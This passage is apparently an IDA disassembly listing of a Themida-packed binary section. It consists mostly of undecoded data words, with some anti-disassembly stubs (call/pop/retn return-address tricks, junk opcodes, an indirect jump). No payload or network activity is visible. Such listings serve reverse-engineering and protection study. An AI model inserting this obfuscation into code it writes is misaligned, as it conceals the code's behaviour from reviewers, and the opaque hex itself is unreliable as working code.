		dd 38BF0ABBh, 522C8AF8h, 0CBCE36EAh, 0D7519A9Fh, 677EE11Fh
		dd 347E8862h, 0F725AB45h, 102202F9h, 103A0A55h,	347E9EACh
		dd 0F72DC854h, 89F74420h, 3E9DA4D4h, 28900AECh,	0C7FB0608h
		dd 0DC746D0Eh, 347E8B5Ah, 0D783F294h, 3BF00FFDh, 1D6532E0h
		dd 0D74E2E90h, 0E481D280h, 0DC288B2Fh, 347E8BA1h, 6ABDD571h
		dd 305AFF21h, 305ACFD5h, 347E8B3Dh, 4EBDDD53h, 0BD6F3906h
		dd 0D75E36C0h, 657EE1A8h, 347E88B9h, 0F727ABA8h, 1032020Dh
		dd 103A0A2Eh, 347E9C11h, 0F72FCA8Ah, 6724E7A2h,	288F0E64h
		dd 5E2D81B2h, 3796DAA8h, 147E8B54h, 0BD274873h,	0B57AAF59h
		dd 217AAFCEh, 757E8B45h, 924C48F3h, 0DEDAF0EFh,	51EB02BCh
		dd 5C74687Bh, 0E04C8B33h, 0B5B50073h, 6BF7AFBEh, 3414C64Eh
		dd 347D63F5h, 6B5E8B51h, 48F7D46Bh, 70FF8F70h, 34638F0Eh
		dd 63398B15h, 43380B49h, 1365EEAFh, 64313544h, 4B71E52h
		dd 0BF24814Bh, 25CB749Fh, 0BF746805h, 0C7FB06DBh, 0CB746D26h
		dd 0ADF30095h, 0BD7468A6h, 0D7583ED4h, 7DC4EDA2h, 0DDCB0205h
		dd 0F2746830h, 0D7627A90h, 3197DC80h, 9F7E8B45h, 0CDD0F96Ah
		dd 347E8FB9h, 302C8DA8h, 347663C4h, 68B28B2Ah, 0A92740A6h
		dd 8E180D37h, 64244C24h, 347A07ADh
		db 51h,	8Bh, 18h
byte_5C09E7	db 8Eh			; DATA XREF: sub_5A3F42+AE0Ao
		dd 70F5AF64h, 34F58F70h, 70F75AA1h, 662E8F31h, 55D73CEAh
		dd 0E1F4BA4Ah, 5E26D3F8h, 3796DB51h, 147E8BA8h,	0BD26480Ch
		dd 0B57AAF6Eh, 217AAF51h, 747E8B8Ah, 0D6B74815h, 347E824Bh
		dd 238DEA51h, 7EF3213Ch, 0B57140B5h, 347E8B21h,	347B051Ah
		dd 0B5188B8Ah, 0CBDEB0ABh, 0D7519A17h, 617EE15Bh, 347E8840h
		dd 0F723AB54h, 10120277h, 103A0A11h, 347E928Eh,	0F72BCE45h
		dd 0F53FA529h, 38C4CD72h, 0B96A77A2h, 0D2D278D1h, 53A00B20h
		dd 3475011Ah, 3B1E8B8Ah, 0EEFF71FAh, 5E009BDBh,	0DCAE7430h
		dd 347E8BA0h, 319FB7DAh, 27601FC1h, 0B1F7D4EDh,	3E9D8BF7h
		dd 0B1B8CDF3h, 3E9D9753h, 637EE112h, 347E8840h,	0F721AB54h
		dd 10020275h, 103A0A11h, 347E918Eh, 0F729CC45h,	5D2BED88h
		dd 0BD8A6D8Ch, 0D75E763Dh, 8206E35Eh, 3996181Dh, 3F7E8B15h
		dd 0C2D4C44Ch, 0DA92DAF8h, 4F552408h, 107A0A0Bh, 1D263218h
		dd 25CB74A8h, 0BF746805h, 0D75202A0h, 0C7FB0680h, 0B4746DE9h
		dd 0E481D447h, 0DC2D8B3Bh, 347E8BABh, 6FBDD074h, 305AD7A3h
		dd 305ACF94h, 347E8B91h, 82BDD806h, 2BF2563Dh, 52939C53h
		dd 0EC8C4529h, 16B70EDDh, 8B7181C9h, 0EFB06EBh,	5E746D5Ch
		dd 3796D845h, 147E8BA2h, 0BD25480Ah, 0B57AAFF4h, 287AAF10h
		dd 777E8B2Ah, 0B4A54846h, 0C005FA6Ch, 3BD35030h, 347E8D21h
		dd 4DCB0251h, 0A4746888h, 347E81BDh, 3B7A592Ah,	0B3C9EAF5h
		dd 6440D0B5h, 0A4B00023h, 5F302F1h, 6A74687Ch, 25CB1E57h
		dd 0EAFE81B7h, 0BDA600AAh, 0D74C4680h, 1AFB0680h, 1D746D93h
		dd 0D765F21Fh, 862E1B5Bh, 81F71B98h, 3E9D9B09h,	0CAC0DC7Ah
		dd 6B7DFBB4h, 5E5A9703h, 3796DE45h, 147E8BA2h, 0BD23480Ch
		dd 0B57AAFC4h, 2D7AAF10h, 717E8B2Ah, 1724840h, 15223110h
		dd 347E81ACh, 0AB6C97A2h, 0CDCEF208h, 3B0A1A52h, 0A1817AEBh
		dd 3E9DAA13h, 347E99FCh, 43FC7A8Ah, 7CF7E0C3h, 36B5AD83h
		dd 0D1521B5Ah, 0BDBD79B6h, 0D74D02D1h, 677EE120h, 347E88FDh
		dd 0F725AB8Ah, 1022021Eh, 103A0AA6h, 347E9155h,	0F72DC8A8h
		dd 652608D4h, 0BF60148Bh, 0D7781280h, 11FB4C80h, 3B746874h
		dd 5E7E8BA2h, 3796D951h, 147E8BA8h, 0BD24480Eh,	0B57AAF7Eh
		dd 2D7AAF51h, 767E8B8Ah, 0B9A4817h, 0C4989A7Ch,	0CB86345Eh
		dd 0D74D023Dh, 647EE15Eh, 347E88C2h, 0F726AB15h, 103A02D2h
		dd 103A0A41h, 347E93A6h, 0F72ECB51h, 1A6398D8h,	31F484F7h
		dd 527E8B2Ah, 85825294h, 19130E03h, 522881A6h, 72246523h
		dd 0A9FB000Fh, 0B9746899h, 0D29976C9h, 353D0220h, 36DB3698h
		dd 81F38169h, 3E986C92h, 347EB81Bh, 0DFDA7851h,	347E339Bh
		dd 0F4758B54h, 2CBC885Eh, 103A0015h, 3496D886h,	6F7E8B45h
		dd 34694823h, 68F78B51h, 70F79B8Ch, 8C259F70h, 34CF711Dh
		dd 70F56BEAh, 0D4818FAEh, 0DC2E8B2Fh, 347E8BA1h, 6CBDD371h
		dd 305ACF21h, 305ACFD5h, 347E8B3Dh, 41BDDB55h, 0BF7BD734h
		dd 0D761E2C8h, 3414EAA8h, 347D6300h, 6D5E8BA8h,	78F7D297h
		dd 70FF8F0Eh, 34628F31h, 653F8B8Ah, 6A58F86h, 6B22D32Ah
		dd 0E2FFD01Bh, 156D7F49h, 1AC306ADh, 0B9746DFCh, 0D296FC98h
		dd 9F4B3380h, 0B14D1363h, 3E9D93CFh, 0DDBF447Ah, 81894FEBh
		dd 0A13E9D83h, 4234144Bh, 8A347D63h, 866B5E8Bh,	8648F7D4h
		dd 5E9838Fh, 0D98BA4F3h, 7E9CDE81h, 44E90359h, 0E9000000h
		dd 0Dh,	0E1405D22h, 11126661h, 70DC9192h, 6A619Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 8D755EC3h, 2D1545DBh, 6E9F996h, 7E000000h, 16AC8A59h
		dd 8BF5C3B6h, 0BD83FCC0h, 0AE32569h, 83097500h,	0E3198DBDh
		dd 1974000Ah, 0C08B5350h, 4B9B8h, 19858900h, 8D0AE32Fh
		dd 0E5DE2C9Dh, 5BD3FF0Ah, 8DBD8358h, 0AE319h, 53501774h
		dd 4B9B8h, 19858900h, 8D0AE32Fh, 0E5DACD9Dh, 5BD3FF0Ah
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 5774965Ch, 51006AF5h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 6AEB93C8h
		dd 0A04C69C2h, 6AC08BDCh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0F23AC350h,	3EAEDE7h
		dd 18A0FD5h, 0F8000000h, 12E940h, 7F5C0000h, 65E9h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5C1375
; ---------------------------------------------------------------------------
		db 0F6h, 0C3h, 0Ah
		dd 924D7D50h, 16D1E5D8h, 9B5C61A4h, 61DAEA2Fh, 108C7EA9h
		dd 9AFFAB6Ch, 57832EBh,	8ACFBB74h, 0BE5505FEh, 0C2466F3Ch
		dd 621F3BF8h, 0C8034924h, 8596F42h, 0B8838740h,	883015C5h
		dd 0A2D6CB4Fh, 0FE8CE169h, 0AAFC2576h, 2AD146DFh, 59F6D377h
		dd 8C477595h, 58812AAEh, 0A46DFABh, 0F987F86Ah,	0B566B436h
		dd 1DAAEF5Bh, 42C801B2h, 0EB4DD8Eh, 0E28946DFh,	4B8E7C2Fh
		dd 0E165C502h, 0DF0F91BAh, 0EC275546h, 9E8D9D6Eh, 9C2386B2h
		dd 0DB7FB8CDh, 0F2B5407h, 190246DFh, 1277F3A6h,	58A3A760h
		dd 7CD5DC7Ch, 0AE6B10F2h, 38F399FCh, 0F5D8912h,	0CE7746DFh
		dd 7A0E6364h, 1BA45781h, 1147764Ch, 56h, 0C803497Dh, 0AB2A5942h
		dd 1B4446DFh, 0D0F47157h, 81CA4776h, 0DC0783C8h, 83458FE4h
		dd 1, 0C60149F3h, 9E596144h, 0B374197Ch, 59053A97h, 14C60149h
		dd 67DAABD0h, 0C79AF9CDh, 0DEF16B94h, 0E6594246h, 0C23D4FAAh
		dd 21700578h, 4FBC5E99h, 438D7E9Ch, 749B7C7h, 5B6346C4h
		dd 6C817E9Ch, 1FACC1C2h, 0F9D33822h, 0CBDEC90h,	0E8B337D3h
		dd 46DFAABFh, 0E932E596h, 0FBAF62A5h, 3139F286h, 57F32C5Ch
		dd 0CC80A8E4h, 0DB1E0A9h, 8F317CAh, 0AB507922h,	762546DFh
		dd 4C8B3F1Ah, 1AC479CEh, 0FD477469h, 0DFAB85AEh, 0C0B35846h
		dd 0D6CA6394h, 75FE4776h, 0AE000000h, 46C40749h, 7C0E5F63h
		dd 0F1A49F2Dh, 90B11C3Eh, 4F883CCEh, 4316A69Bh,	406F93Eh
		dd 3FDB1CA1h, 6AF0295Ah, 0AAF14177h, 46DFAB81h,	56F4A754h
		dd 2B4D114Ch, 491FC37Ch, 4776D6ACh, 6BA4h, 0E5770400h
		dd 0D890D8DAh, 4963438Dh, 6346C407h, 82450B5Ah,	56912598h
		dd 219447B4h, 9AFF7B39h, 511535EEh, 0DFAAE10Ah,	14C7B446h
		dd 41A10D38h, 0FE0EFC3Fh, 44C60149h, 0DFAB2B57h, 4E893346h
		dd 63A4E9CCh, 7BE718E7h, 6F22E5ABh, 697FE35Ch, 4776D0DCh
		dd 0EE9A99E2h, 0D67D6395h, 0A48FAh, 9BE00000h, 0D0354CF2h
		dd 594D8747h, 58C20549h, 5E9C5765h, 7A56913Bh, 0F47ED7DEh
		dd 30E99EF3h, 6C1F5E4h,	6CDA9E54h, 9CD99DCEh, 0C7B43CFCh
		dd 0C1A41863h, 0BE800399h, 0B9C3A652h, 3498C7Eh, 2A5942C8h
		dd 0D3BFBE6h, 0F89D8E50h, 7F416D3h, 14DCECCDh, 7C8F4871h
		dd 3BFBE653h, 6AA5D72Ah, 366C4B7h, 0F753BD7Ah, 2D2DE692h
		dd 5D86D5A9h, 303BFBE6h, 6028014Bh, 0DDEE83A7h,	3F18301Ch
		dd 3E4A5C06h, 49F615C5h, 434D9515h, 0F9h, 27C194E7h, 0E1242CF4h
		dd 0A2A677B7h, 15D586A4h, 783CFCA8h, 3B245793h,	15D2F85Ah
		dd 54D306F5h, 6D8DC7C2h, 0D3874008h, 911CAFEh, 0F5CE494h
		dd 3BFCA1E6h, 0F119CCBFh, 4445E906h, 0BE5C9F21h, 6216034Dh
		dd 0DAEC81A9h, 0B457331Dh, 4D95D90Bh, 2D01h, 0A7A66D00h
		dd 2478035h, 62C8BB74h,	0E16E7039h, 0F41605CFh,	0DFAC7EA7h
		dd 68CA73C6h, 0AA907669h, 0E16F3801h, 0EC5E4D4Fh, 786Ah
		dd 0A2A64200h, 85D586A4h, 0E83CFC92h, 0F8A32703h, 3BFC92CFh
		dd 7F9BF5A6h, 0C5B56E1Ah, 1B3FF880h, 0FC93CE90h, 0D092CB3Bh
		dd 0B6C78A3Eh, 0B76AD179h, 9F6961C3h, 6C7B105Bh, 0B9C23217h
		dd 3F56589Bh, 17D0E420h, 4B3068A4h, 24560BCFh, 0D617A6E3h
		dd 0AC8DC734h, 6E27231Ch, 9EC389ECh, 0D1792CEDh, 729BC06Ah
		dd 4B46DA16h, 15D974A0h, 42E85E1Ah, 0F4EF8419h,	0C882693Ch
		dd 0A4A2A6C0h, 8440D586h, 7E2D3CFAh, 18D3F9DCh,	0E25D6FA2h
		dd 33B23378h, 5C6AD4EAh, 881467E3h, 45E3BDE4h, 9B5465A6h
		dd 5519367Fh, 8D51EE23h, 26944F7Dh, 0FC1ED9E3h,	3733F499h
		dd 497A2552h, 0CE3DDD90h, 0E65F5682h, 0A4F74B7Ch, 0E0F63C7Bh
		dd 0DA81A952h, 0E0F63BB1h, 5CBD9784h, 0C207F32Ch, 3BDD7DB6h
		dd 3, 49E0C873h, 6C41C902h, 267E35Ch, 3B9EBC75h, 0D2B75394h
		dd 8CE169A2h, 0A61B3FF8h, 5336D415h, 0F62E82Fh,	0B99A807Fh
		dd 4EC81h, 24890000h, 4BA5224h,	1000000h, 5A042454h, 81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 768243Ch, 89000078h
		dd 6851241Ch, 42D81267h, 41D1F759h, 3DAE981h, 0CF89B241h
		dd 4EC8159h, 89000000h,	4812424h, 424h,	0EC835B00h, 240C8904h
		dd 4B89F989h, 1C8B5908h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 5F2434FFh, 4C481h, 3AE90000h, 7FFFFC91h
		dd 0CB1F4BF8h
; ---------------------------------------------------------------------------
		xchg	eax, ebp


loc_5C1375:				; CODE XREF: Themida_:005C0EACj
		mov	eax, 0AE6EDF6h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 8C21h
		dd 6E92676Eh, 6EC170F8h, 0D20E78AFh, 0AF0C49DCh, 89545D39h
		dd 0E3560FECh, 4E354548h, 942C2AF8h, 0E5D837D8h, 0E2235BEEh
		dd 4D8F747Ah, 0C046467Eh, 0DF940A13h, 0BECB665Ch, 0D2686281h
		dd 3E4F3C50h, 5A9C17CDh, 0C24F7D75h, 66A076A5h,	0A0B93B68h
		dd 0C18B4864h, 498D8B60h, 0B90AE31Ah, 249296B7h, 4EB61h
		dd 89000000h, 0E3045195h, 53006A0Ah, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 7B802614h
		dd 10E88315h, 64000000h, 8199BC4Dh, 838F8623h, 0E79257D9h
		dd 66FE2D4Dh, 8D5FF38Bh, 0E32FFD85h, 50006A0Ah,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0E34B3C98h
		dd 0FA67209Fh, 5F565090h, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 6AFF8928h
		dd 5E900h, 0ECB70000h, 6A1A1F14h, 0F98B6600h, 0F09D858Dh
		dd 6A0AE6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 43ECF4C3h, 0C083058Ch, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD8BBC37h
		dd 0AE30019h, 0D858960h, 0F0AE32Ch, 9061FABFh, 0F98B6650h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 8589CEB2h, 0AE32F05h, 0B50B006Ah, 0AE31215h
		dd 18C0Fh, 6AF80000h, 119D0900h, 0FF0AE323h, 0E314E995h
		dd 0F88B660Ah, 0D5CA9D8Dh, 6A0AE6h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 29A2DC3h
		dd 0FCCBF04h, 589h, 0E217BE00h,	0B5890131h, 0AE32299h
		dd 6AD3FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0CF3A85C3h, 6D21718Ch, 1585FFC3h,	530AE31Ch
		dd 1FC1B50Bh, 0E95E0AE3h, 761h,	0E8h, 0ED815D00h, 0AE6F0A7h
		dd 0DE9h, 0F8AFA00h, 4726F596h,	107B5DDFh, 0BD81970Dh
		dd 0AE33125h, 7D0h, 141860Fh, 8BF90000h, 0E328DD9Dh, 36E6810Ah
		dd 81541A11h, 100E3h, 89B58B00h, 0B0AE317h, 9B850FDBh
		dd 89000000h, 0E32CAD9Dh, 0F1BD830Ah, 0AE6EEh, 2E840Fh
		dd 85890000h, 0AE30039h, 0A4E9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 668E65AFh
		dd 7ADDDF81h, 0EEF185C7h, 10AE6h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0F30DB4C3h
		dd 0E96087E3h, 7, 0B3493F85h, 0E9AD9F86h, 12h, 0E301FB96h
		dd 0B4BB82CDh, 9EB5F692h, 93245990h, 0E9614B87h, 2Dh, 1DEDBD89h
		dd 85C70AE3h, 0AE6EEF1h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5C1693
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1693	proc near		; CODE XREF: Themida_:005C168Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5C1693	endp

; ---------------------------------------------------------------------------
		ficomp	word ptr ds:28DD9D8Dh
		jecxz	short near ptr loc_5C16B3+2
		push	0
		push	esi
		call	sub_5C16B6


loc_5C16B3:				; CODE XREF: Themida_:005C16A9j
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C16B6	proc near		; CODE XREF: Themida_:005C16AEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5C16B6	endp

; ---------------------------------------------------------------------------
		cmpsd
		pop	ds
		mov	bh, 0E5h
		push	eax
		or	[ebp+0AE3203Dh], edi
		pop	edi
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	eax
		call	sub_5C16E3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C16E3	proc near		; CODE XREF: Themida_:005C16DBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C16E3	endp

; ---------------------------------------------------------------------------
		db 28h
		dd 99A25F84h, 0B3E6D27Fh, 5DB58BB5h, 660AE310h,	0BF66DB8Ch
		dd 0C3F67FA5h, 65840F04h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BF73C353h
		dd 67C1306Eh, 338995FFh, 6A0AE3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8971BFC3h, 0E333918Dh
		dd 0FA8B900Ah, 860F5750h, 6, 880Fh, 905F0000h, 0B9B50B53h
		dd 5F0AE30Fh, 43BE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 2FFE81BAh, 10E9E94Eh
		dd 81000000h, 0EE814A2Dh, 0FDAD48E5h, 3DB6C30Fh, 0B08E33DFh
		dd 9E900h, 0DA5E0000h, 37AAC6ACh, 0E6655D39h, 7D858970h
		dd 0E40AE325h, 51006A71h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0DAB13CBEh, 0D8B60FF8h
		dd 38D0Fh, 8B660000h, 6BAF8h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0ADCCD2C3h
		dd 95895019h, 0AE31671h, 79BD8B5Fh, 8B0AE311h, 61B509C3h
		dd 0C10AE329h, 0AE904E8h, 0FD000000h, 0C435FEE7h, 8539CF2Dh
		dd 0E2F76624h, 1569BD8Bh, 8D0F0AE3h, 0
; ---------------------------------------------------------------------------
		sub	ebx, eax
		mov	esi, 632BC946h
		push	eax
		mov	[esp], ebx
		clc
		push	dword ptr [ebp+0AE33125h]
		push	0
		push	ebp
		call	sub_5C1871
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1871	proc near		; CODE XREF: Themida_:005C1869p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5C1871	endp

; ---------------------------------------------------------------------------
		shl	byte ptr [edx],	cl
		aas
		or	al, 0B7h
		enter	0FFFFA4DEh, 89h
		adc	eax, [ecx-13254E22h]
		push	cs
		call	dword ptr [ebp+0AE31CD1h]
		push	0
		push	esi
		call	sub_5C18A2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C18A2	proc near		; CODE XREF: Themida_:005C189Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5C18A2	endp

; ---------------------------------------------------------------------------
		dw 497Fh
		dd 5B5DFFF3h, 8BA93604h, 0E31195B5h, 6A00B00Ah,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 8A37C356h, 784C015Ah, 3041B533h, 70E60AE3h, 0F5D78166h
		dd 0FA8B66B6h, 0CE971E4h, 0CF000000h, 776B3423h, 275BB679h
		dd 3CE7D7A6h, 0A9830F61h, 60000002h, 81BD8BFCh,	610AE304h
		dd 0FD8B60Fh, 6BAF3B7h,	89000000h, 0E312D5BDh, 6AC38B0Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0EBC2C350h, 0E9A60E3Bh, 0Bh, 2BA125B3h, 4326A925h
		dd 0C1D40C8Eh, 6A04E8h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 33AECCC3h, 99B16D2Fh, 11E9ECh, 3ED00000h
		dd 44BC02A2h, 87A78BD8h, 0BAC08EAFh, 16B33AAh, 0E322EDB5h
		dd 0E2F7660Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	6FC35545h, 0F33985ACh, 2B47026Fh, 52006AD8h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0B6E1EFB1h, 81F98B66h, 0E27C15D6h, 6A583Eh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 5E5605C3h, 599D0160h, 890AE32Eh, 0E329D18Dh,	0D82B610Ah
		dd 196880Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 81660CC3h, 8BE423C7h, 7B9FAh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0E5A157C3h, 83F6BF0Fh, 0D93B00C1h, 142860Fh,	81660000h
		dd 6621BCE6h, 8E9D98Ch,	0B4000000h, 0B696DE2Ah,	0F6143EEAh
		dd 840F04C1h, 102h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 6FC35343h, 338995FFh,	6A0AE3h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 475AC8C3h, 0DBD8B03h, 0F0AE320h, 68Eh, 1DB58900h, 5B0AE318h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 9CC35747h
		dd 0F98B7A48h, 7F18589h, 0C32B0AE3h, 0DE9h, 0ABB8A000h
		dd 0BA8C62F0h, 5531505Eh, 343DAB1Ah, 0F000008h,	6986h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 371244CEh, 39F19231h, 0AE9E6C7h,	0BD000000h
		dd 9F8DF15Eh, 6945172Ah, 0BF0F60EDh, 4DE961F1h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 1198C352h, 0BE3E1F58h, 3797430Eh,	4B30E781h
		dd 0C08B387Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	5CC35747h, 6F3BEA35h, 0D88BC38Bh, 1779B58Bh, 85C70AE3h
		dd 0AE32F45h, 7DD8BBF9h, 0DE9h,	4493D300h, 6A6948C1h, 772FDD28h
		dd 9531A40Dh, 0AE32941h, 6AC08Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 816F88C3h, 0F3E5BB59h
		dd 5E85Bh, 88B50000h, 814B2E35h, 7EE1C1D6h, 0BD815F5Ch
		dd 0AE33125h, 7D0h, 54850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0CBDF3C3h
		dd 69F59ADh, 66BD349Dh,	0FFDCBABFh, 0E3312585h,	57006A0Ah
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0ADCC3FDh, 0BF6616A2h, 0B5FFD8B8h, 0AE33125h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 3DC35545h, 0F219F172h
		dd 0FD850904h, 660AE319h, 0D4E1DE81h, 0FFF18B66h, 0E31CD195h
		dd 0B890F50Ah, 12345678h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 61C35141h, 0B5334A55h, 0AE31C29h, 0F7C99D8Dh
		dd 0A5E90AE6h, 8BFFFFF8h, 0E318F9B5h, 0F5C18B0Ah, 4EBh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0E8273DC3h, 0B5897F9Ah, 0AE325D9h, 0BE953h
		dd 8E970000h, 9789F0F8h, 7E837EEBh, 858D5FEBh, 0AE32FFDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 5EC35747h
		dd 8DBEEBFCh, 53798938h, 0BF505Fh, 896F5EE6h, 6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 8D6116C3h, 0D3B008Fh, 6AF1D7A0h, 0FAD78100h,	6A1C5431h
		dd 858DF900h, 0AE6F98Fh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 78C35040h, 6E8A1h, 0E5C60000h, 0C13481D0h
		dd 0E7FAF681h, 0BF5F40F8h, 2225A0D4h, 0F805C083h, 0FCBF6650h
		dd 24048952h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	0E4C35040h, 0FE9CBh, 1AB50000h,	0FABB880Bh, 0F54D3EBh
		dd 0D28A3FB0h, 0F1BF6643h, 6A006A31h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 90B7C351h
		dd 0FCC7C938h, 95FF006Ah, 0AE314E9h, 2CF9BD09h,	9D8D0AE3h
		dd 0AE6D5CAh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 16h,	20C35747h, 0C681337Ah, 6C6CCA14h, 0E681D3FFh, 121DB31Ch
		dd 1C1585FFh, 8B660AE3h, 0E15E9F8h, 0E80000h, 5D000000h
		dd 0F999ED81h, 6A0AE6h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 3AFA08C3h, 71673DCEh, 7E90Ah, 5C7C0000h
		dd 22AEEDC3h, 25BD8183h, 0D00AE331h, 0F000007h,	15586h
		dd 0CE816600h, 9D8B00F7h, 0AE3334Dh, 11E8h, 0FA118A00h
		dd 8D6D5379h, 3EF9ACC3h, 93F6D829h, 815EAE99h, 100E3h
		dd 3D858900h, 0E90AE316h, 12h, 0F689813Fh, 48BD17D2h, 0D8AE0395h
		dd 4A34B445h, 0DB0BD402h, 58850Fh, 0B5290000h, 0AE30479h
		dd 0F808BD83h, 0F000AE6h, 1184h, 71958900h, 0E90AE314h
		dd 77h,	19FDBD89h, 85C70AE3h, 0AE6F808h, 1, 89FBBF0Fh
		dd 0E32F498Dh, 59E90Ah,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 85C79BC3h, 0AE6F808h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5C1F8B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1F8B	proc near		; CODE XREF: Themida_:005C1F83p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5C1F8B	endp

; ---------------------------------------------------------------------------
		aaa
		scasd
		jle	short loc_5C201E
		popa
		xchg	eax, esp
		mov	word ptr [ecx+edx], es
		jns	loc_5C1FB3
		jnb	loc_5C1FB3
		movsx	esi, bx


loc_5C1FB3:				; CODE XREF: Themida_:005C1FA4j
					; Themida_:005C1FAAj
		lea	ebx, [ebp+0AE3334Dh]
		push	0
		push	ebp
		call	sub_5C1FC4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1FC4	proc near		; CODE XREF: Themida_:005C1FBCp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5C1FC4	endp

; ---------------------------------------------------------------------------
		dd 0CE928h, 3D4D0000h, 0DBADE6A4h, 4B2A4BA5h, 2381A861h
		dd 0FFFFFEFFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
